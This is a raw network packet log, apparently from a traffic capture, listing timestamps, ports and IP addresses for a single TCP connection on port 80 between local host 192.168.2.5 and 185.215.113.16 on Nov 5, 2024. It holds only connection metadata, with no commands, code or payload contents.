Nov 5, 2024 10:13:16.833033085 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.835067987 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.857824087 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.857878923 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.857887983 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.857894897 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.857908010 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.857917070 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.857932091 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.857975006 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.858228922 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.858293056 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.858303070 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.858347893 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.858359098 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.858366013 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.858448982 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.858766079 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.858812094 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.858825922 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.858839989 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.858881950 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.858913898 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.858927011 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.858937025 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.858973980 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.859253883 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.859263897 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.859275103 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.859285116 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.859333992 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.862194061 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.904046059 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.904067039 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.904082060 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.904093027 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.904103041 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.904114962 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.904150009 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.904230118 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.904274940 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.904364109 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.904375076 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.904386044 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.904396057 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.904407024 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.904414892 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.904417992 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.904429913 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.904450893 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.904462099 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.904984951 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.904995918 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.905004978 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.905038118 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.905076027 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.905236006 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.905246973 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.905257940 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.905268908 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.905303955 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.905615091 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.905625105 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.905635118 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.905653954 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.905678034 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.905689955 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.923157930 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.949595928 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.949613094 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.949621916 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.949667931 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.949758053 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.949800014 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.949810028 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.949850082 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.949887037 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.949897051 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.949907064 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.949918032 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.949939013 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.949958086 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.949991941 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.950361967 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.950402975 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.950412035 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.950465918 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.953968048 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.974906921 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.974956989 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.974968910 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.975007057 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.975063086 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.975075006 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.975115061 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.975173950 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.975225925 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.975238085 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.975269079 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.975284100 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.975292921 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.975303888 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.975334883 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.975594997 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.975631952 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.975641012 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.975678921 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.975683928 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.975697041 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.975711107 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.975752115 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.975785017 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.975795984 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.975831032 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.983359098 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.018693924 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.018702984 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.019097090 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.021025896 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.021085024 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.021095991 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.021135092 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.021213055 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.021223068 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.021233082 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.021241903 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.021251917 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.021260977 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.021271944 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.021277905 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.021295071 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.021308899 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.021645069 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.021663904 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.021673918 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.021683931 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.021711111 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.021740913 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.021749973 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.021754026 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.021786928 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.022233963 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.022281885 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.022321939 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.022357941 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.022411108 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.022425890 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.022437096 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.022471905 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.022485971 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.035919905 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.066411018 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.066504002 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.066525936 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.066575050 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.066579103 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.066590071 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.066601038 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.066632032 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.066660881 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.066797018 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.066865921 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.066875935 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.066921949 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.066948891 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.066962004 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.067004919 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.067234993 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.067251921 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.067262888 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.067271948 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.067281961 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.067292929 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.067292929 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.067334890 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.078948021 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.091641903 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.091686010 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.091695070 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.091730118 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.091753006 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.091763973 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.091773987 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.091800928 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.091828108 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.092092037 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.092101097 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.092116117 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.092127085 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.092149019 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.092175007 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.092470884 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.092480898 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.092490911 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.092513084 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.092523098 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.092526913 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.092545033 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.092699051 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.092746019 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.092749119 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.092762947 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.092796087 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.092803001 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.092806101 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.092818022 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.092865944 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.134902000 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.137768984 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.137782097 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.137794018 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.137811899 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.137842894 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.137855053 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.137873888 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.137887001 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.138062954 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.138104916 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.138115883 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.138164997 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.138200045 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.138212919 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.138231039 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.138273001 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.138843060 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.138855934 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.138875961 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.138886929 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.138899088 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.138901949 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.138911963 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.138936043 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.138964891 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.139317989 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.139328957 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.139341116 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.139364004 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.139364958 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.139377117 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.139389992 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.139400959 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.139410973 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.139441967 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.139463902 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.183566093 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.183576107 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.183582067 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.183640957 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.183676004 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.183686018 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.183695078 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.183734894 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.183734894 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.183820963 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.183907032 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.183917046 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.183928013 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.183938980 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.183965921 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.183979988 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.184292078 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.184319973 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.184330940 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.184343100 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.184370041 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.184381962 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.184437990 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.184437990 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.186901093 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.208816051 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.208875895 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.208888054 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.208933115 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.208954096 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.208966017 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.209000111 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.209029913 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.209096909 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.209182978 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.209193945 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.209225893 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.209235907 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.209245920 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.209258080 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.209266901 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.209269047 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.209289074 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.209307909 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.209835052 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.209846020 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.209856987 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.209897995 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.209907055 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.209907055 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.209908962 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.209928989 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.209954977 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.254825115 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.254849911 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.254900932 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.254910946 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.254930019 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.254940033 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.254992962 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.255003929 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.255014896 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.255023956 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.255045891 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.255054951 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.255073071 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.255083084 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.255093098 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.255094051 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.255105972 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.255125046 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.255167961 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.255906105 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.255922079 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.255934000 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.255944967 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.255958080 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.255969048 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.255970001 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.256006956 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.256333113 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.256373882 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.256378889 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.256386042 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.256469011 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.256473064 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.256484985 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.256496906 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.256505966 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.256515026 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.256560087 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.256560087 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.271013975 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.538099051 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538173914 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.538188934 CET	80	49712	185.215.113.16	192.168.2.5
